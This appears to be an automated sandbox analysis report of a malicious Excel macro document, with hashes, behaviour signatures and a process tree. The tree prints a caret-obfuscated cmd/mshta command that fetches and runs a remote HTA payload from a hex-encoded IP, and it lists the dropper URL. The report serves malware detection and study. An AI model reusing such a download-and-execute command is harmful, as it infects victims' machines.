Analysis

  • max time kernel
    133s
  • max time network
    139s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    11-11-2024 17:38

General

  • Target

    6aabcf7489ea97978b22fe4037dc12269ccc7d3fa1fce46d1fb5db89b8f71a29.xls

  • Size

    102KB

  • MD5

    98a298beaadcc5ec006ac7697f2aa769

  • SHA1

    b401e954b922b06ae9c51de351f5a9246bfd3622

  • SHA256

    6aabcf7489ea97978b22fe4037dc12269ccc7d3fa1fce46d1fb5db89b8f71a29

  • SHA512

    1b924c2b92ee0f2f7a801c0bbda270917f52d89083e32890b4a6913e9586910f9a09d19225413ef755d628c1962f940901b9c32817192f17bb79798f9301690a

  • SSDEEP

    3072:n/k3hbdlylKsgqopeJBWhZFGkE+cL2NdAFxe53lGvFTQ3IzxgdrvxpU0OKvMB:/k3hbdlylKsgqopeJBWhZFVE+W2NdAOK

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://185.7.214.7/fer/fe3.html

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\6aabcf7489ea97978b22fe4037dc12269ccc7d3fa1fce46d1fb5db89b8f71a29.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4300
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe3.html
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:3596
      • C:\Windows\system32\mshta.exe
        mshta http://0xb907d607/fer/fe3.html
        3⤵
        • Blocklisted process makes network request
        PID:5056

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

    Filesize

    1KB

    MD5

    6bbc3f4950f18c7d55cd50c995a956ee

    SHA1

    47074bfe7ec8e9e1b6c187373b8bcd8d24ba45a2

    SHA256

    8e767861f5d66a1c9d8c497003b2026048d56cbc1c4a417f800a8f88ad092d00

    SHA512

    8642b7827ab676b597a5c38d3be650276bfa61abb1a4b17c96b72ddb55410eb0b9ded04bb62648652d5ac45779863abdf58b748bdb1ac9daf995644f372128e0

  • memory/4300-15-0x00007FFE4DAB0000-0x00007FFE4DAC0000-memory.dmp

    Filesize

    64KB

  • memory/4300-6-0x00007FFE90390000-0x00007FFE90585000-memory.dmp

    Filesize

    2.0MB

  • memory/4300-12-0x00007FFE90390000-0x00007FFE90585000-memory.dmp

    Filesize

    2.0MB

  • memory/4300-11-0x00007FFE90390000-0x00007FFE90585000-memory.dmp

    Filesize

    2.0MB

  • memory/4300-16-0x00007FFE4DAB0000-0x00007FFE4DAC0000-memory.dmp

    Filesize

    64KB

  • memory/4300-5-0x00007FFE90390000-0x00007FFE90585000-memory.dmp

    Filesize

    2.0MB

  • memory/4300-9-0x00007FFE90390000-0x00007FFE90585000-memory.dmp

    Filesize

    2.0MB

  • memory/4300-13-0x00007FFE90390000-0x00007FFE90585000-memory.dmp

    Filesize

    2.0MB

  • memory/4300-14-0x00007FFE90390000-0x00007FFE90585000-memory.dmp

    Filesize

    2.0MB

  • memory/4300-1-0x00007FFE50410000-0x00007FFE50420000-memory.dmp

    Filesize

    64KB

  • memory/4300-0-0x00007FFE50410000-0x00007FFE50420000-memory.dmp

    Filesize

    64KB

  • memory/4300-2-0x00007FFE50410000-0x00007FFE50420000-memory.dmp

    Filesize

    64KB

  • memory/4300-3-0x00007FFE9042D000-0x00007FFE9042E000-memory.dmp

    Filesize

    4KB

  • memory/4300-10-0x00007FFE90390000-0x00007FFE90585000-memory.dmp

    Filesize

    2.0MB

  • memory/4300-19-0x00007FFE90390000-0x00007FFE90585000-memory.dmp

    Filesize

    2.0MB

  • memory/4300-18-0x00007FFE90390000-0x00007FFE90585000-memory.dmp

    Filesize

    2.0MB

  • memory/4300-17-0x00007FFE90390000-0x00007FFE90585000-memory.dmp

    Filesize

    2.0MB

  • memory/4300-8-0x00007FFE90390000-0x00007FFE90585000-memory.dmp

    Filesize

    2.0MB

  • memory/4300-7-0x00007FFE50410000-0x00007FFE50420000-memory.dmp

    Filesize

    64KB

  • memory/4300-30-0x00007FFE90390000-0x00007FFE90585000-memory.dmp

    Filesize

    2.0MB

  • memory/4300-4-0x00007FFE50410000-0x00007FFE50420000-memory.dmp

    Filesize

    64KB